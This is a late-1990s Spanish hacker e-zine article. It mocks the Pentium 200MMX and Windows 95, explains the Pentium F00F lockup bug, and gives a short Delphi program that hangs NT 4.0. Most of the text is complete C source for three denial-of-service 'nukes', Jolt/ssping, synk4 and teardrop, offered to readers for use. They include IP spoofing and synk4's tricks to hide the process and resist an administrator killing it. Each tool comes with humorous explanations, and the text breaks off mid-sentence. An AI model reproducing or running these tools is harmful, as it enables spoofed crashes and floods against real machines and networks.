oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo A 07 - LA INSOPORTABLE CONTINUIDAD DEL FALLO - A A A oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo Aqui estaba yo feliz pensando en escribir la editorial y la despedida cuando las "bajas por enfermedad" diezman nuestras filas y trastocan mis previsiones..asip que junto, pego, escribo cuatro tontadas que se me escurren, retoco y alineo y aun hay hueco asin que con todo el morro del que soy capaz me saco de la manga lo siguiente basado en un insoportable anuncio publicitario que escucho varias veces por hora: "Necesitas un Pentium 200MMX, equipado con Windows 95...tralala y acceso a Internet GRATIS por un a€o y navegador gratuito" Esto del acceso a Internet gratis es como los moviles, te los dan por todos lados pero luego quien paga los consumos?. Correcto. Pues bien el ordenata ese lo venden por mas de 200 billetes y ya que sabemos lo que cuesta repasemos cuanto vale. - - - - - - - - - - - - - - - Que vale un Pentium 200MMX?? - - - - - - - - - - - - - - - Desde los antiguos tiempos de los "maravillosos discos cantores" de Commodore pasando por la mitica instruccion "Parate y arde" hasta los fallos de los Sparc hay toda una tradicion que las compa€ias conscientes se esfuerzan en mantener y mejorar. Es la tradicion de divertir a los usuarios haciendo que sus productos hagan cosas no esperadas, no hagan las cosas esperadas o se queden esperando a que pasen cosas. Fiel a esa tradicion hoy podemos decir: F0 - tocado. 0F - tocado. C7 - tocado. C8 - hundido!. No estamos jugando a los barquitos, acabamos de efectuar la presentacion del nuevo bug del Pentium(tm), Pentium MMX(tm), Pentium Overdrive(tm) y Pentium Overdrive MMX(tm). Todos de Intel(tm) Seguramente ya habeis oido hablar de algo de esto pero apostaria a que pocos saben realmente de que se trata, a quien afecta y que soluciones pueden tomarse (aunque como las cosas van tan de prisa seguro que cuando acabe el articulo aparece mas informacion) Que es lo que pasa?. Simplemente que alguien (no se sabe quien) encontro que al ejecutar en un Pentium(tm) la siguiente instruccion F0 0F C7 C8 Se hace necesario un reset del sistema, nada nuevo direis. Al fin y al cabo cualquiera que utilice Windows 95 esta acostumbrado a hacer un reset..el problema aparece cuando estamos ejecutando un programa que contenga esa instruccion en un sistema multiusuario y zzaaappp! , colgamos el procesador y todos los usuarios pierden su trabajo. Divertido de hacer en una red, ya que cualquier usuario puede librar esa instruccion podemos imaginarnos lo que pasa si van cayendo los servidores de la red, o los de impresion.... Recordad que hay gente que trabaja con Pentiums con SO teoricamente "seguros y estables", esa pobrecita gente no esta acostumbrada a que se le cuelgue el sistema porque si. __ __ __Pero que significa F0 0F C7 C8?__ Traducido al lenguaje ensamblador seria la siguiente instruccion: LOCK CMPXCHG8B EAX CMPXCHG8B compara un valor de 64 bits en los registros EDX:EAX con el operando (un valor en memoria que sera de 64 bits) Cuando ejecutamos la instruccion F0 0F C7 C8, el ultimo byte forma parte de la instruccion MOD R/M pero escribe en el registro EAX tan solo 4 bytes y como intentamos comparar 8 pues la cosa no chuta. Lo que deberia hacer el procesador es devolver un "flag de excepcion" al SO diciendole que se ha intentado ejecutar una instruccion invalida, sin embargo no ocurre asi y el sistema se cuelga (con un par de narices si se€or) Tate, yasta!!. Ahora me lo habeis dejado claro!!!!!, si ya lo decia yo. No pongais la instruccion CMPXCHG8B en el micro, que es mala, pero nada los ingenieros de Intel que no me hicieron caso y ahora pasa lo que pasa. Bueno pues si la instruccion de arriba te suena a chino ;-> te equivocas, es Assembler como hemos dicho. Expliquemos las cosas poquito a poquito y por el principio que si no os perdeis y resulta que el principio es LOCK. LOCK ===== Algunos programas (como los SO) requieren el ordenamiento de los accesos a datos, para proporcionar ese orden se usa la 'sincronizacion' (ya sabeis, aquello de "sincronizad vuestros relojes"). Como casi todo en el mundo de los ordenadores la sincronizacion se puede proporcionar por hard o soft y como casi todo en el mundo de los ordenadores la sincronizacion por hard es la elegida mayoritariamente, asi que se accede a una posicion de memoria, la leemos, la actualizamos y nuestros peque€os chips se aseguran de que todo se hace en una sola operacion. Al rollo este se le llama "locked access" + o -, "acceso cerrado" e indica que esa posicion de memoria donde trabajamos esta efectivamente "cerrada" hasta que se acabe la operacion. Por supuesto los procesadores Intel proporcionan esa posiblidad de "locked access" y lo hacen mediante algo llamado "prefijo LOCK" que le dice al micro "OJO, la siguiente instruccion de acceso a memoria me la ejecutas como un "acceso cerrado" Hasta aqui, bien?. Pues esperadme un momento que yo me he perdido ya desde el comienzo :->. A ver, a ver por donde vamos. Parece que es por aqui!. CMPXCHG8B ========== Con el advenimiento de los Pentium se a€adio otro modo de soporte hard para operaciones de sincronizacion, la instruccion CMPXCHG8B que compara e intercambia 8 bytes entre una posicion de memoria y los registros del procesador. Al intentar usar esta instruccion para actualizar un registro de 4 bytes (que es lo que intenta hacer precisamente la instruccion F0 0F C7 C8) cometemos un error, pero en lugar de pasarlo a la rutina de manejo de errores del SO, el Pentium(tm) opta por una solucion mas facil y se cuelga. Pero como me protejo de esto?. Bueno, cualquier programa a partir de ahora puede contener la instruccion pero como es absolutamente ilogica cabe suponer que solo programas *expresamente* dise€ados para colgar el ordenador haga uso de ella, mira por donde quiza hayamos descubierto los motivos de la aclamada """estabilidad""" de Windows 95 :-D Asi que me dedico a descompilar programas a medida que los ejecuto buscando la instruccion? Nope Intercepto todas las instrucciones enviadas al procesador y compruebo que no sean LOCK..?. Mejor manten apagado el ordenador. Ahorraras tiempo y dinero. Establezco restricciones de acceso a memoria? Y consigues que aquellos pocos programas que no se colgaban lo hagan ahora. :-? Intel por supuesto trabaja en posibles soluciones y ya se han hecho publicos patchs para diversos SO basados principalmente en que antes de ejecutar la rutina de errores del sistema se provoca un fallo de pagina no valida y el procesador puede seguir funcionando. Mas concretamente ante cualquier "invalid opcode" los patchs preparados para los diversos SO lanzan un "present page fault" que tiene prioridad sobre la excepcion por codigo no-valido y por tanto anula la posibilidad de que se produzca el cuelgue. Muy elegante, si se€or :-D Lista completa de procesadores afectados: 75/90/100/120/133/150/166/200 MHz Pentium Processors and 120/133/150/166/200/233 MHz Pentium Processors with MMX Technology 60 MHz and 66 MHz Pentium Processors 63/83/120/125/133/150/166 MHz Pentium OverDrive Processors and 125/150/166/180/200 MHz Pentium OverDrive Processors with MMX Technology La posibilidad de corregir este bug por una actualizacion del microcodigo del chip ha dado a paso a fantasiosos rumores sobre un futuro de troyanos, virus y demas cala€a que se introdujesen en la CPU y se llegase a un escenario en que: Un programa actualiza subrepticiamente la CPU y manda unas instrucciones que la convierten en poco mas que chatarra. Solucion del usuario medio? Tirar el equipo y comprar un ordenador nuevo. 237.000 pts de media. Un programa actualiza subrepticiamente la CPU y altera "ligeramente" el codigo de manera que pueda sortear cualquier tipo de barreras instaladas despues (procesos de login, escaneo de virus..etc) Posibilidades?. En estos momentos no dispongo de documentos sobre la manera de actualizar el microcodigo de un chip Intel pero cabe suponer que cualquiera que sea la manera NO estara al alcance de un usuario medio ni sera posible via software (a menos que se trate de procedimientos muy complejos y seguros). Lo mas posible es que haga falta cierta configuracion especifica del hard para que la CPU admita actualizaciones pero hay mucha gente por ahi fuera con Flash Bios (que son regrabables, recordais?) y el unico control es un 'jumper' del que nadie se suele acordar. Traera algo el futuro por ese camino?. Podria ser muy negativo. El siguiente codigo escrito en Delphi cuelga NT 4.0 con SP 3. Boton de reset necesario program F0Bug; uses windows; begin asm db $f0,$0f,$c7,$c8; end; end. | Como veis no tiene mucho misterio, circulan por ahi programas-test en diversos lenguajes asi como programas que buscan la instruccion "problematica". [Fuentes: Paginas web de Intel y grupos de news como comp.sys.intel] Nada, a divertirse, ya sabeis que seguro se puede ir por la vida con nuestro flamante Pentium 200MMX, Windows 95 e Internet Explorer 4.0. Nos pueden colgar por cualquiera de los 3 solo que los dos ultimos ademas permiten hacer otras cosas. Lo que?. Lo que?. Xssss! No me seas ansioso que ahora lo explicamos. - - - - - - - - - - - Que vale Windows95? - - - - - - - - - - - Posiblemente nada seria la respuesta mayoritaria pero al fin y al cabo es el sistema que "hay que utilizar" asi que mucha gente siente una secreta alegria cada vez que alguien se carga un windows por ahi (dita sea!, con lo bien que funcionaba la maquina de escribir). El nuke llego, vio y se quedo. Que por mayo era por mayo cuando los grandes calores nos trajeron "The Fresh 'n Original Nuke" by _eci y aqui nosotros lo publicamos y explicamos en el n§ 9 (Jun 97) Como se crean las modas?. Misterio. Se creo una moda, la de encontrar maneras de tumbar a un Windows conectado a Inet y el programador vio que lo que hacia era bueno y lo llamo nuke y le dijo: "Creced y multiplicaos y dominareis la red" Y el nuke crecio, se convirtio en jolt/ssping, synk4, teardrop, land, latierra.. Todos ellos buscaban un objetivo comun y todos ellos lo encontraron de distintas maneras. Y los usuarios fueron confundidos por el demonio que les hablo de "teneis que renombrar noseque.tururu a noseque.rututu" pero el demonio les enga€aba, desde junio MS tenia en su web un patch que resistia todos los ataques menos los dos ultimos. Para todos aquellos que todavian estan completamente lilas decid que efectivamente aunque el "amigo enterado" del Irc/Fido o las revistas esas por las que pagais una pasta digan que "MS todavia no ha solucionado el nuke original" es MENTIRA, aunque poco conocido existe un patch de MS para Windows 95 que ha ofrecido inmunidad frente al nuke original y a los jolt ssping, synk4 y teardrop. No pasa nada, podeis seguir gastando mil pelas en leer informacion erronea. Veremos como jugar a los barquitos con Windos, los mas famosos nukes a vuestra disposicion: Original Nuke (ver SET 9) A pesar de mi reconocida tendencia al "relleno" de articulos no voy a repetir aqui el codigo. =========== Jolt/ssping Codigo Fuente =========== /* Jolt 1.0 (c) 1997 by Jeff w. Roberson * Please, if you use my code give me credit. Also, if i was the first to * find this glitch, please give me credit. Thats all i ask. * * Update: It apears to work on some older versions of mac os */ /* Yah this is for linux, but i like the BSD ip header better then linux's */ #define __BSD_SOURCE #include #include #include #include #include #include #include #include #include #include int main(int argc, char **argv) { int s,i; char buf[400]; struct ip *ip = (struct ip *)buf; struct icmphdr *icmp = (struct icmphdr *)(ip + 1); struct hostent *hp, *hp2; struct sockaddr_in dst; int offset; int on; int num = 5; if (argc < 3) { printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n"); printf("\nusage: %s [number]\n",argv[0]); printf("\tdstaddr is the host your attacking\n"); printf("\tsaddr is the host your spoofing from\n"); printf("\tNumber is the number of packets to send, 5 is the default\n"); printf("\nNOTE: This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n"); printf("\nGreets to Bill Gates! How do ya like this one? :-)\n"); exit(1); } if (argc == 4) num = atoi(argv[3]); for (i=1;i<=num;i++) { on=1; bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL"); exit(1); } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[1]); exit(1); } } else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); } if ((hp2 = gethostbyname(argv[2])) == NULL) { if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[2]); exit(1); } } else { bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length); } printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = htons(sizeof buf); ip->ip_id = htons(4321); ip->ip_off = htons(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_csum = 0; /* kernel fills in */ dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = htons(~(ICMP_ECHO << 8)); for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = htons(offset >> 3); if (offset < 65120) ip->ip_off |= htons(0x2000); else ip->ip_len = htons(418); /* make total 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto"); } if (offset == 0) { icmp->type = 0; icmp->code = 0; icmp->checksum = 0; } } close(s); usleep(30000); } return 0; } Explicacion Cientifica [o Patra€a]: Uno de los primeros seguidores de la moda nuke el jolt nos deleito enviando un paquete ICMP (o ping en el ssping) mas falso que Judas en cuanto a su tama€o o su origen que hace al destinatario quedarse esperando a que llegue el paquete de esas caracteristicas (que evidentemente no llega nunca) se produce efectivamente un bloqueo del sistema y es que como deciamos al principio a veces "se quedan esperando a que pasen cosas". NOTA: Si alguien quiere compilar el codigo---> como root en Linux. Traduccion de la patra€a: [Para los que sabemos que toda esa palabreria tecnica es absurda] Nos conectamos a Internet con nuestro ordenata y de repente un cretino llama a la puerta. Quien es? -dice nuestro ordenadorcito- Soy yo -dice el cretino- Y que quieres? -contesta nuestro ordenadorcito- Voy a mandarte un paquete desde Mallorca Huyy no se, es que ahora mismo.. Desde Mallorca, no seas remolon y cogelo. Bueno, fale. ...Pasan los milisegundos.. Paquete desde Zaragoza!. Huy no, yo estoy esperando uno de Mallorca -replica el ordenadorcito- Paquete desde Valencia! No puedo cogerlo -explica nuestro ordenadorcito- estoy esperando uno desde Mallorca. Paquete desde Barcelona! Esperese, esperese que viene uno de Mallorca Paquete desde Sevilla! Metase donde pueda y deje paso al que va a venir de Mallorca. ZZZaaappp!. El pobre ordenadorcito se derrumba. Variante 1: El cretino anterior y nuestro ordenadorcito Te voy a enviar un paquete a portes debidos -dice el cretino- Bueno fale -asiente nuestro ordenadorcito- cuanto sube la broma? 2.100 -a€ade el cretino- ..Pasan los milisegundos.. Ding, dong!. Si? -pregunta nuestro ordenadorcito- Traigo este paquete a portes debidos Si, si lo estaba esperando. Son 3.800 luas. Comorrll???. Tienen que ser 2.100 -se asusta el ordenadorcito- Nop, son 3.800 luas y subiendo por el tiempo de espera y todo eso. Solo tengo 2.100 - se lamenta nuestro ordenadorcito- Pues no le puedo dejar el paquete, son 3.800. Que hago?, que hago?, que hago AHORA??. ZZZaaappp!. El pobre ordenadorcito se derrumba. ===== synk4 Un nuke que ademas traia utilidades basicas para el IP ===== spoofing. Codigo Fuente /* Syn Flooder by Zakath * TCP Functions by trurl_ (thanks man). * Some more code by Zakath. * Speed/Misc Tweaks/Enhancments -- ultima * Nice Interface -- ultima * Random IP Spoofing Mode -- ultima * How To Use: * Usage is simple. srcaddr is the IP the packets will be spoofed from. * dstaddr is the target machine you are sending the packets to. * low and high ports are the ports you want to send the packets to. * Random IP Spoofing Mode: Instead of typing in a source address, * just use '0'. This will engage the Random IP Spoofing mode, and * the source address will be a random IP instead of a fixed ip. * Released: [4.29.97] * To compile: cc -o synk4 synk4.c * */ #include #include #include #include #include #include #include #include /* These can be handy if you want to run the flooder while the admin is on * this way, it makes it MUCH harder for him to kill your flooder */ /* Ignores all signals except Segfault */ // #define HEALTHY /* Ignores Segfault */ // #define NOSEGV /* Changes what shows up in ps -aux to whatever this is defined to */ // #define HIDDEN "vi .cshrc" #define SEQ 0x28376839 #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) unsigned long send_seq, ack_seq, srcport; char flood = 0; int sock, ssock, curc, cnt; /* Check Sum */ unsigned short ip_sum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); } void sig_exit(int crap) { #ifndef HEALTHY printf("Signal Caught. Exiting Cleanly.\n"); exit(crap); #endif } void sig_segv(int crap) { #ifndef NOSEGV printf("Segmentation Violation Caught. Exiting Cleanly.\n"); exit(crap); #endif } unsigned long getaddr(char *name) { struct hostent *hep; hep=gethostbyname(name); if(!hep) { fprintf(stderr, "Unknown host %s\n", name); exit(1); } return *(unsigned long *)hep->h_addr; } void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) { char buf[65536]; struct { /* rfc 793 tcp pseudo-header */ unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; } ph; struct sockaddr_in sin; /* how necessary is this, given that the destination address is already in the ip header? */ ph.saddr=ih->saddr; ph.daddr=ih->daddr; ph.mbz=0; ph.ptcl=IPPROTO_TCP; ph.tcpl=htons(sizeof(*th)+dlen); memcpy(buf, &ph, sizeof(ph)); memcpy(buf+sizeof(ph), th, sizeof(*th)); memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen); memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4); th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1); memcpy(buf, ih, 4*ih->ihl); memcpy(buf+4*ih->ihl, th, sizeof(*th)); memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen); memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4); ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1); memcpy(buf, ih, 4*ih->ihl); sin.sin_family=AF_INET; sin.sin_port=th->dest; sin.sin_addr.s_addr=ih->daddr; if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) { printf("Error sending syn packet.\n"); perror(""); exit(1); } } unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) { int i, s; struct iphdr ih; struct tcphdr th; struct sockaddr_in sin; int sinsize; unsigned short myport=6969; char buf[1024]; struct timeval tv; ih.version=4; ih.ihl=5; ih.tos=0; /* XXX is this normal? */ ih.tot_len=sizeof(ih)+sizeof(th); ih.id=htons(random()); ih.frag_off=0; ih.ttl=30; ih.protocol=IPPROTO_TCP; ih.check=0; ih.saddr=my_ip; ih.daddr=their_ip; th.source=htons(srcport); th.dest=htons(port); th.seq=htonl(SEQ); th.doff=sizeof(th)/4; th.ack_seq=0; th.res1=0; th.fin=0; th.syn=1; th.rst=0; th.psh=0; th.ack=0; th.urg=0; th.res2=0; th.window=htons(65535); th.check=0; th.urg_ptr=0; gettimeofday(&tv, 0); send_tcp_segment(&ih, &th, "", 0); send_seq = SEQ+1+strlen(buf); } void upsc() { int i; char schar; switch(cnt) { case 0: { schar = '|'; break; } case 1: { schar = '/'; break; } case 2: { schar = '-'; break; } case 3: { schar = '\\'; break; } case 4: { schar = '|'; cnt = 0; break; } } printf("[%c] %d", schar, curc); cnt++; for(i=0; i<26; i++) { i++; curc++; } } void init_signals() { // Every Signal known to man. If one gives you an error, comment it out! signal(SIGHUP, sig_exit); signal(SIGINT, sig_exit); signal(SIGQUIT, sig_exit); signal(SIGILL, sig_exit); signal(SIGTRAP, sig_exit); signal(SIGIOT, sig_exit); signal(SIGBUS, sig_exit); signal(SIGFPE, sig_exit); signal(SIGKILL, sig_exit); signal(SIGUSR1, sig_exit); signal(SIGSEGV, sig_segv); signal(SIGUSR2, sig_exit); signal(SIGPIPE, sig_exit); signal(SIGALRM, sig_exit); signal(SIGTERM, sig_exit); signal(SIGCHLD, sig_exit); signal(SIGCONT, sig_exit); signal(SIGSTOP, sig_exit); signal(SIGTSTP, sig_exit); signal(SIGTTIN, sig_exit); signal(SIGTTOU, sig_exit); signal(SIGURG, sig_exit); signal(SIGXCPU, sig_exit); signal(SIGXFSZ, sig_exit); signal(SIGVTALRM, sig_exit); signal(SIGPROF, sig_exit); signal(SIGWINCH, sig_exit); signal(SIGIO, sig_exit); signal(SIGPWR, sig_exit); } main(int argc, char **argv) { int i, x, max, floodloop, diff, urip, a, b, c, d; unsigned long them, me_fake; unsigned lowport, highport; char buf[1024], *junk; init_signals(); #ifdef HIDDEN for (i = argc-1; i >= 0; i--) /* Some people like bzero...i prefer memset :) */ memset(argv[i], 0, strlen(argv[i])); strcpy(argv[0], HIDDEN); #endif if(argc<5) { printf("Usage: %s srcaddr dstaddr low high\n", argv[0]); printf(" If srcaddr is 0, random addresses will be used\n\n\n"); exit(1); } if( atoi(argv[1]) == 0 ) urip = 1; else me_fake=getaddr(argv[1]); them=getaddr(argv[2]); lowport=atoi(argv[3]); highport=atoi(argv[4]); srandom(time(0)); ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(ssock<0) { perror("socket (raw)"); exit(1); } sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(sock<0) { perror("socket"); exit(1); } junk = (char *)malloc(1024); max = 1500; i = 1; diff = (highport - lowport); if (diff > -1) { printf("\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University\n of California. All Rights Reserved."); for (i=1;i>0;i++) { srandom((time(0)+i)); srcport = getrandom(1, max)+1000; for (x=lowport;x<=highport;x++) { if ( urip == 1 ) { a = getrandom(0, 255); b = getrandom(0, 255); c = getrandom(0, 255); d = getrandom(0, 255); sprintf(junk, "%i.%i.%i.%i", a, b, c, d); me_fake = getaddr(junk); } spoof_open(/*0xe1e26d0a*/ me_fake, them, x); /* A fair delay. Good for a 28.8 connection */ usleep(300); if (!(floodloop = (floodloop+1)%(diff+1))) { upsc(); fflush(stdout); } } } } else { printf("High port must be greater than Low port.\n"); exit(1); } } Explicacion Cientifica [o Patra€a] Entre todos los genericamente llamados nukes hay muchas diferencias, en este caso el ataque se basa en un syn-flooding que causa al host que recibe el ataque mandar multitud de ACKs (o lo que le salga) y esperar a que nosotros completemos el "apreton" algo que obviamente no se produce. Traduccion de la Patra€a: [Para los que sabemos que toda esa palabreria tecnica es absurda] El ya rese€ado cretino y nuestro ordenadorcito habitual. Riiing, riiinggg! - llama a la puerta el cretino- Si? - Contesta el ordenadorcito- Riingg!, riingg! -suena el telefono- {El ordenadorcito sale corriendo} Si, digame? Riiing, riiiingg -llaman al portero automatico- Si?, si, quien es por favor? -pregunta nuestro ordenadorcito- Riinngg, riiinggg - suena el movil- Si, soy yo -responde el ordenadorcito- Oye ven aqui que te necesito -le decimos- Huy es que.. estoy esperando a mucha gente -se excusa el ordenadorcito- .. Pasan los milisegundos.. Hey pero que pasa -insistimos- Es que tengo el telefono, el movil, el portero, la puerta.. Tiene que venir alguien -asegura nuestro ordenadorcito- Y espera, espera, espera.... ZZZaaappp!. El pobre ordenadorcito se derrumba. ======== teardrop Llega hasta ti avalado por route (na menos) o sea que ======== "mano de santo" para colgar tu windoze o Linux. Codigo Fuente /* * Copyright (c) 1997 route|daemon9 11.3.97 * * Linux/NT/95 Overlap frag bug exploit * * Exploits the overlapping IP fragment bug present in all Linux kernels and * NT 4.0 / Windows 95 (others?) * * Based off of: flip.c by klepto * Compiles on: Linux, *BSD* * * gcc -O2 teardrop.c -o teardrop * OR * gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING */ #include #include #include #include #include #include #include #include #include #include #include #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 0x1c /* datagram frame padding for first packet */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; fprintf(stderr, "teardrop route|daemon9\n\n"); if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Death on flaxen wings:\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); fprintf(stderr, "b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); } /* * Send two IP fragments with pathological offsets. We use an implementation * independent way of assembling network packets that does not rely on any of * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). */ void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } /* We set the fragment offset to be inside of the previous packet's * payload (it overlaps inside the previous packet) but do not include * enough payload to cover complete the datagram. Just the header will * do, but to crash NT/95 machines, a bit larger of packet seems to work * better. */ p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); p_ptr += 4; /* IP offset is 6 bytes into the header */ *((u_short *)p_ptr) = FIX(MAGIC); if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", name); exit(0); } /* EOF */ Explicacion Cientifica [o Patra€a]: Al juntar todos los 'paquetitos' que han ido llegando e intentar formar el datagrama original puede ocurrir que uno se "coma parte" del otro, no problemo jugamos con los offsets y 'realineamos' para que todo vaya bien.. salvo que el fragmento con el que trabajemos NO contenga datos suficientes para hacer ese 'realineamiento', estamos en una situacion en la cual al ser negativo el resultado (hay menos datos de los que deberia haber) el sistema intenta copiar los dos fragmentos pero entonces resulta que hay demasiados datos!!. Incapaz de aceptar una longitud negativa e incapaz de copiar todos los datos el sistema queda efectivamente bloqueado. Traduccion de la Patra€a: [Para los que sabemos que toda esa palabreria tecnica es absurda] Nuestro ordenadorcito y el cretino de antes. Pum, pum! -llama el cretino- Quien es? -pregunta nuestro ordenadorcito- Soy yo -dice el cretino- Y que quieres? Tengo un paquetito para ti, te lo envio como siempre? Bueno, fale (esta claro que nuestro ordenador es un simple) Pues ahi va, en trocitos, tu los juntas como ya sabes, vale? Si, no te preoupes tengo mucha practica -se enorgullece el ordenadorcito- ...Pasan los milisegundos... Me faltan piezas?!. Hmm a ver, esta parece que esta repetida, si la pongo asi.. no me encaja. No puedo acabar el puzzle! Mira a ver -insiste el cretino- que te las he mandado todas Pero es que hay una que parece repetida -afirma el ordenadorcito- Sera parecida pero no repetida, estas hecho un torpe. Juntando aqui y alla, ahora recorto esta, ahora pego aquella, vaya ahora me SOBRAN piezas!! -nuestro ordenadorcito no lo puede entender- ZZZaaappp!. El pobre 